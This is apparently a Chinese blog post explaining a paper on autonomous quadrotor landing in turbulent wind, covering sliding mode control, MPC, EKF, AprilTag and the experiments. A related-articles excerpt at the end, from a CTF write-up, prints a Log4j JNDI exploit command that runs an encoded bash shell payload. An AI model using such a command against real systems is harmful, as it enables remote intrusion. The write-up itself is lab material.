无人机自主降落论文解析

article/2025/6/7 15:22:38

Dynamic Landing of an Autonomous Quadrotor on a Moving Platform in Turbulent Wind Conditions

滑膜控制器
 

这一部分详细介绍了边界层滑模控制器(Boundary Layer Sliding Controller,BLSC)的设计和实现,特别是如何将其应用于四旋翼无人机(quadrotor)在复杂风况下(如湍流风)的着陆任务。以下是详细解析:

1. 背景与动机

  • MPC的局限性:模型预测控制(MPC)虽然在工业中被广泛应用,但对于非线性系统的控制需要进行昂贵的优化计算。此外,MPC在处理非线性动力学时可能不够高效。

  • 滑模控制的优势:滑模控制(Sliding Mode Control,SMC)是一种非线性控制方法,能够有效处理非线性系统,并且在面对系统不确定性和外部干扰时表现出良好的鲁棒性。滑模控制通过设计滑模面,使得系统状态能够快速滑动到该滑模面上,并保持稳定。

2. BLSC的设计目标

  • 轨迹跟踪与干扰补偿:BLSC的目标是设计一个非线性辅助控制器,能够补偿着陆平台附近的干扰(如湍流风),并确保无人机能够精确跟踪规划的轨迹。

  • 解耦控制:在四旋翼无人机中,姿态动力学(attitude dynamics)比位置动力学(position dynamics)快得多,因此可以将两者解耦。姿态控制由基于四元数的控制器(quaternion-based controller)完成,而位置和速度控制则由BLSC完成。

3. 滑模面的设计

4. 边界层设计

5. BLSC的控制律

6. 湍流风的建模

8. 实验验证

  • 风场模拟:通过在实验中使用风扇(leaf blowers)模拟湍流风场,验证了BLSC在复杂风况下的有效性。

  • 结果:BLSC能够有效补偿风干扰,提高无人机在复杂环境下的着陆性能。

总结

这一部分详细介绍了边界层滑模控制器(BLSC)的设计和实现,特别是如何将其应用于四旋翼无人机在复杂风况下的着陆任务。BLSC通过设计滑模面和边界层,能够有效补偿风干扰,提高轨迹跟踪的精度和鲁棒性。通过实验验证,BLSC在复杂风况下表现出良好的性能。

扩展卡尔曼滤波器(EKF)和AprilTag视觉标记系统

1. 扩展卡尔曼滤波器(EKF)的作用
  • 目标:EKF用于估计移动平台的状态,包括其位置、速度和姿态。这对于无人机在复杂环境(如风干扰)中准确着陆至关重要。

2. 测量向量

3. EKF的更新频率
  • 更新频率:EKF的更新频率为2Hz,这在无人机应用中是现实的。

4. 视觉检测的重要性
  • 视觉检测:当无人机靠近平台时,视觉检测比GPS提供更精确的无人机-地面车辆(UAV-UGV)姿态估计。视觉检测用于更新平台的状态,并将估计的速度 vp​ 纳入轨迹规划中,以确保无人机在着陆点匹配移动平台的速度。

E. Visual detection: AprilTag visual fiducial system

1. AprilTag视觉标记系统的作用
  • 目标:当无人机靠近平台时,使用AprilTag视觉标记系统来提供更精确的无人机-地面车辆姿态估计。

  • 系统组成

    • 标记(Tag):使用一组共面的标记(tag bundle),通过检测多个标记来估计一个“标记组姿态”(bundle pose)。这在需要高精度检测时非常有用。

    • 不同尺寸的标记:通过使用不同尺寸的标记,确保在不同距离下都能进行检测。

    • 标记组:使用了一个14×14cm的标记放在一个5×5cm的标记上方。尽管标记组尺寸较小,但可以在最大约3.5米的距离内检测到,最小检测距离约为5厘米。

2. ROS封装
  • ROS封装:使用基于AprilTag 2的ROS封装来与核心检测算法接口。

3. 视觉检测的优势
  • 高精度:视觉检测提供了比GPS更精确的位置和姿态估计,这对于无人机在复杂环境中的精确着陆至关重要。

  • 近距离检测:在近距离内,视觉检测能够提供高精度的平台位置和姿态信息,帮助无人机更好地跟踪和着陆。

这一章节详细介绍了如何通过扩展卡尔曼滤波器(EKF)和AprilTag视觉标记系统来估计移动平台的状态。EKF用于融合不同来源的测量数据(如模拟GPS和视觉检测),以提供更准确的平台状态估计。AprilTag视觉标记系统则在近距离内提供高精度的位置和姿态估计,这对于无人机在复杂风况下的精确着陆至关重要。这些技术的结合显著提高了无人机自主着陆的性能和鲁棒性。

实验部分

这一部分详细描述了在静态平台实验中,四旋翼无人机在湍流风条件下进行自主着陆的实验设置、测试结果以及边界层滑模控制器(BLSC)的性能对比。以下是详细解析:

实验背景

  • 湍流风的影响:实验中使用了5台风扇(leaf blowers)来模拟湍流风环境,风向指向负x方向。这种风场模拟了无人机在实际着陆过程中可能遇到的复杂风况,特别是湍流风对无人机跟踪性能的影响。

  • 风场参数测量:通过高精度热线风速仪(hot-wire anemometer)测量了不同距离处的风速和湍流特性。测量结果显示,在距离平台0.5米处,平均风速降低,而风速的标准差(湍流强度)达到最大值。这可能是由于气流经过垂直平台时产生了涡流(vortices)。

实验设置

  1. 静态平台

    • 平台由一个60×60厘米的水平板和一个60×30厘米的垂直板组成,垂直板上安装了AprilTag标记组(tag bundle),用于视觉检测。

    • 风扇设置在两个不同的高度,以模拟复杂的风场环境。

  2. 风场参数

    • 在距离垂直平台0.5米到3.5米的范围内,每隔0.5米测量一次风速和湍流特性。

    • 每个位置的风速测量持续60秒,每秒记录一次数据。

实验结果

  1. 标准BLSC的性能

    • 测试条件:使用不考虑湍流风的标准BLSC进行测试。

    • 初始条件:无人机起始于位置 pq​=(−3.5,2.0,1.3) 米,平台位于 pp​=(1.1,−1.1,0.8) 米。

    • 结果:跟踪性能较差,从首次检测到标记(tag detection)开始,着陆时间长达27.2秒。首次检测标记的时间为 td​=3.3 秒(用垂直虚线表示)。

    • 平台估计改进:在首次检测标记后,平台的状态估计精度有所提高,这可以从视频中的协方差椭圆(covariance ellipses)的大小显著减小看出。

  2. 改进的BLSC的性能

    • 测试条件:使用考虑湍流风的改进BLSC进行测试,初始条件与标准BLSC测试相同。

    • 结果:跟踪性能显著提高,即使在进入风场后(首次检测标记时间为 t=2.5 秒),跟踪误差也仅略有增加。着陆时间仅为3.2秒,比标准BLSC快了8.5倍。

    • 鲁棒性:改进的BLSC在复杂风况下表现出良好的鲁棒性,能够快速适应风场变化并保持稳定的跟踪性能。

关键结论

  • 湍流风的影响:湍流风对无人机的跟踪性能有显著影响,尤其是在风场的近场区域(如0.5米处),风速的变化和湍流强度的增加导致跟踪误差增大。

  • 标准BLSC的局限性:标准BLSC在不考虑湍流风的情况下,跟踪性能较差,着陆时间长,难以满足快速、精确着陆的要求。

  • 改进BLSC的优势:通过考虑湍流风的特性,改进的BLSC能够显著提高跟踪性能,缩短着陆时间,并在复杂风况下保持良好的鲁棒性。

总结

这一部分通过实验验证了改进的边界层滑模控制器(BLSC)在复杂风况下的有效性。通过对比标准BLSC和改进BLSC的性能,展示了改进BLSC在跟踪精度、着陆时间和鲁棒性方面的显著优势。这些结果为无人机在实际应用中的自主着陆提供了重要的技术支持和理论依据。

创新点

这篇文章的主要创新点确实在于将边界层滑模控制器(BLSC)与模型预测控制(MPC)相结合,以提高无人机在复杂风况下(尤其是湍流风)的自主着陆性能。这种结合方式充分利用了MPC的轨迹规划能力和BLSC的鲁棒性,使得无人机能够在动态环境中更高效、更安全地完成着陆任务。以下是具体创新点的详细解释:

1. 创新点:结合BLSC与MPC

  • MPC的作用

    • 轨迹规划:MPC负责生成从无人机当前位置到目标平台的最优轨迹。它通过求解优化问题,考虑系统的动力学约束、目标位置、速度匹配等因素,生成一条平滑且可行的轨迹。

    • 实时更新:MPC能够根据实时的系统状态和环境信息,动态调整轨迹规划,确保轨迹始终是最优的。

  • BLSC的作用

    • 轨迹跟踪:BLSC负责确保无人机能够精确跟踪MPC生成的轨迹。它通过设计滑模面和边界层,能够有效补偿外部干扰(如风干扰),提高轨迹跟踪的精度和鲁棒性。

    • 抗干扰能力:BLSC特别考虑了湍流风的特性,通过建模风干扰并将其纳入控制策略中,能够有效应对复杂风况下的干扰。

2. 创新点:考虑湍流风特性

  • 风场建模

    • 风场参数测量:通过实验测量,获取了风场的平均风速 vw​ 和标准差 σ,并建立了风场模型。

    • 风干扰估计:BLSC中引入了对风干扰的估计,通过建模风速和风向的变化,动态调整控制输入,以补偿风干扰。

  • 边界层设计

    • 平滑控制信号:BLSC通过引入边界层,平滑了控制信号,减少了高频抖动,提高了系统的可靠性和寿命。

    • 动态适应:BLSC能够根据实时的风场变化,动态调整控制策略,确保无人机在复杂风况下仍能稳定飞行。

3. 创新点:快速直接的着陆轨迹

  • 动态着陆

    • 直接轨迹:与传统的悬停-下降着陆方法不同,本文提出的方法允许无人机直接沿着规划的轨迹快速接近目标平台,无需在平台上空悬停。

    • 效率提升:这种直接轨迹方法显著缩短了着陆时间,提高了无人机在复杂环境下的着陆效率。

4. 实验验证

  • 静态平台实验

    • 标准BLSC的局限性:实验表明,不考虑湍流风的标准BLSC在复杂风况下跟踪性能较差,着陆时间长。

    • 改进BLSC的优势:改进的BLSC在考虑湍流风后,跟踪性能显著提高,着陆时间大幅缩短,鲁棒性增强。

  • 移动平台实验

    • 复杂环境验证:在移动平台实验中,改进的BLSC同样表现出良好的性能,能够快速匹配平台速度并完成着陆任务。

总结

这篇文章的主要创新点在于将边界层滑模控制器(BLSC)与模型预测控制(MPC)相结合,通过考虑湍流风的特性,显著提高了无人机在复杂风况下的自主着陆性能。这种结合方式不仅提高了轨迹跟踪的精度和鲁棒性,还实现了快速直接的着陆轨迹,显著提升了无人机在动态环境中的着陆效率和安全性。


http://www.hkcw.cn/article/dOoOxaNMOe.shtml

相关文章

.NET 原生驾驭 AI 新基建实战系列(一):向量数据库的应用与畅想

在当今数据驱动的时代,向量数据库(Vector Database)作为一种新兴的数据库技术,正逐渐成为软件开发领域的重要组成部分。特别是在 .NET 生态系统中,向量数据库的应用为开发者提供了构建智能、高效应用程序的新途径。 一…

html基础01:前端基础知识学习

html基础01&#xff1a;前端基础知识学习 1.个人建立打造 -- 之前知识的小总结1.1个人简历展示1.2简历信息填写页面 1.个人建立打造 – 之前知识的小总结 1.1个人简历展示 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8&qu…

CentOS Stream 8 Unit network.service not found

一、问题现象 在 CentOS Stream 8 操作系统中&#xff0c;配置完静态IP 信息&#xff0c;想重启网络服务。 执行如下命令&#xff1a; systemctl restart network 提示信息如下&#xff1a; Failed to restart network.service: Unit network.service not found. 二、问题…

【Axure高保真原型】交通事故大屏可视化分析案例

今天和大家分享交通事故大屏可视化分析案例的原型模板&#xff0c;包括饼图分类分析、动态显示发生数、柱状图趋势分析、中部地图展示最新事故发现地点和其他信息、右侧列表记录发生事故的信息…… 通过多种可视化图表展示分析结果&#xff0c;具体效果可以点击下方视频观看或…

网络安全-等级保护(等保) 3-3-1 GB/T 36627-2018 附录A (资料性附录) 测评后活动、附 录 B (资料性附录)渗透测试的有关概念说明

################################################################################ GB/T 36627-2018 《信息安全技术 网络安全等级保护测试评估技术指南》对网络安全等级保护测评中的相关测评技术进行明确的分类和定义,系统地归纳并阐述测评的技术方法,概述技术性安全测试和…

wsl===windows下安装Linux系统

新近版本的windows都支持了Linux&#xff0c;操作如下&#xff1a; 控制面板中启用对应的功能 2. 打开powershell&#xff0c;以安装Ubuntu为例&#xff0c;然后执行 PS C:\Users\steven.wang> wsl.exe --update 正在安装: 适用于 Linux 的 Windows 子系统 已安装 适用于 …

云上展厅颠覆传统展览

云上展厅&#xff1a;重塑展览行业的新篇章 随着数字化技术的迅猛发展&#xff0c;传统展览模式正经历一场深刻的变革。云上展厅&#xff0c;新兴的展览形式&#xff0c;正逐步颠覆传统的实体展览模式&#xff0c;凭借其跨越时空限制、多样化展示方式、丰富互动体验及高效商业…

谷歌地图苹果版v6.138.2 - 前端工具导航

谷歌地图(Google maps)苹果版是是由谷歌官方推出的一款手机地图应用。软件功能强大&#xff0c;支持本地搜索查找世界各地的地址、地点和商家&#xff1b;支持在街景视图中查看世界各地的360度全景图&#xff1b;支持查找乘坐火车、公交车和地铁的路线&#xff0c;或者查找步行…

Microsoft前后端不分离编程新风向:cshtml

文章目录 什么是CSHTML&#xff1f;基础语法内联表达式代码块控制结构 布局页面_ViewStart.cshtml_Layout.cshtml使用布局 模型绑定强类型视图模型集合 HTML辅助方法基本表单验证 局部视图创建局部视图使用局部视图 高级特性视图组件依赖注入Tag Helpers 性能优化缓存捆绑和压缩…

事件对象以及常见属性

1.1获取事件对象 1.2语法 1.3事件对象属性

ssh登录wsl2

1. ssh服务重新安装 Ubuntu20.04子系统自带的ssh服务无法连接&#xff0c;需卸载后重新安装。 sudo apt-get remove openssh-server sudo apt-get install openssh-server2. 修改配置信息 sudo vim /etc/ssh/sshd_config修改内容&#xff1a; # 最好一模一样 Port 33 # 这…

神经符号集成-三篇综述

我会大致讲解三篇神经符号集成的综述&#xff0c;这些综述没有针对推荐系统的&#xff0c;所以大致过一下&#xff0c;下一篇帖子会介绍针对KG的两篇综述。 综述1 这篇综述主要阐述了神经符号学习系统&#xff0c;旨在将神经系统和符号系统 结合到一个统一的框架中。 核心观点…

【MATLAB代码】制导——三点法,二维平面下的例程|运动目标制导,附完整源代码

三点法制导是一种导弹制导策略,主要用于确保导弹能够准确追踪并击中移动目标。该方法通过计算导弹、目标和制导站之间的相对位置关系,实现对目标的有效制导。 本文给出MATLAB下的三点法例程,模拟平面上捕获运动目标的情况订阅专栏后可直接查看源代码,粘贴到MATLAB空脚本中即…

【最新版】西陆洗车系统源码全开源+uniapp前端+搭建教程

一.系统介绍 一款基于ThinkPHPUniapp开发的多门店洗车系统&#xff0c;包含用户端&#xff08;小程序&#xff09;、门店员工端&#xff08;小程序&#xff09;、门店端&#xff08;PC&#xff09;、平台管理端&#xff08;PC&#xff09;。 门店分连锁门店和独立门店&#xf…

留存即证据 药企亟需构筑可信数据管理体系

在医药行业&#xff0c;数据留存不仅是技术需求&#xff0c;更是满足全球药品监管法规&#xff08;GxP&#xff09;的核心合规义务。药企需建立覆盖全数据类型、全生命周期、全流程可追溯的留存体系。药企在数据留存方面的合规管理需遵循多维度要求&#xff0c;涵盖数据保护、备…

HALCON 深度学习训练 3D 图像的几种方式优缺点

HALCON 深度学习训练 3D 图像的几种方式优缺点 ** 在计算机视觉和工业检测等领域&#xff0c;3D 图像数据的处理和分析变得越来越重要&#xff0c;HALCON 作为一款强大的机器视觉软件&#xff0c;提供了多种深度学习训练 3D 图像的方式。每种方式都有其独特的设计思路和应用场…

Java面试八股--04-MySQL

致谢&#xff1a;感谢整理&#xff01;2025年 Java 面试八股文&#xff08;20w字&#xff09;_java面试八股文-CSDN博客 目录 1、Select语句完整的执行顺序 2、MySQL事务 3、MyISAM和InnoDB的区别 4、悲观锁和乐观锁怎么实现 5、聚簇索引与非聚簇索引区别 6、什么情况下my…

春秋云镜 Certify Writeup

端口扫描发现8983端口存在 Solr 服务 这个版本可以直接打 Log4j java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFza.....}|{base64,-d}|{bash,-i}" -A "x.x.x.x"访问触发&#xff1a; http://39.98.113.203:8983/solr/adm…

JavaSec | H2数据库注入学习

目录: 前言 前置学习 介绍 环境搭建 demo 漏洞分析 RCE Alias Script RCE INIT RunScript RCE TRIGGER Script RCE 高版本JDK下的RCE 文件读取 写文件 JDBC JNDI 内存马 例题 [N1CTF Junior 2025]EasyDB 参考 前言 在学 Spring 框架的利用时发现很多用的是用的 H2 数据库…

IP查询与网络风险的关系

网络风险场景与IP查询的关联 网络攻击、恶意行为、数据泄露等风险事件频发&#xff0c;而IP地址作为网络设备的唯一标识&#xff0c;承载着关键线索。例如&#xff0c;在DDoS恶意行为中&#xff0c;攻击者利用大量IP地址发起流量洪泛&#xff1b;恶意行为通过变换IP地址绕过封…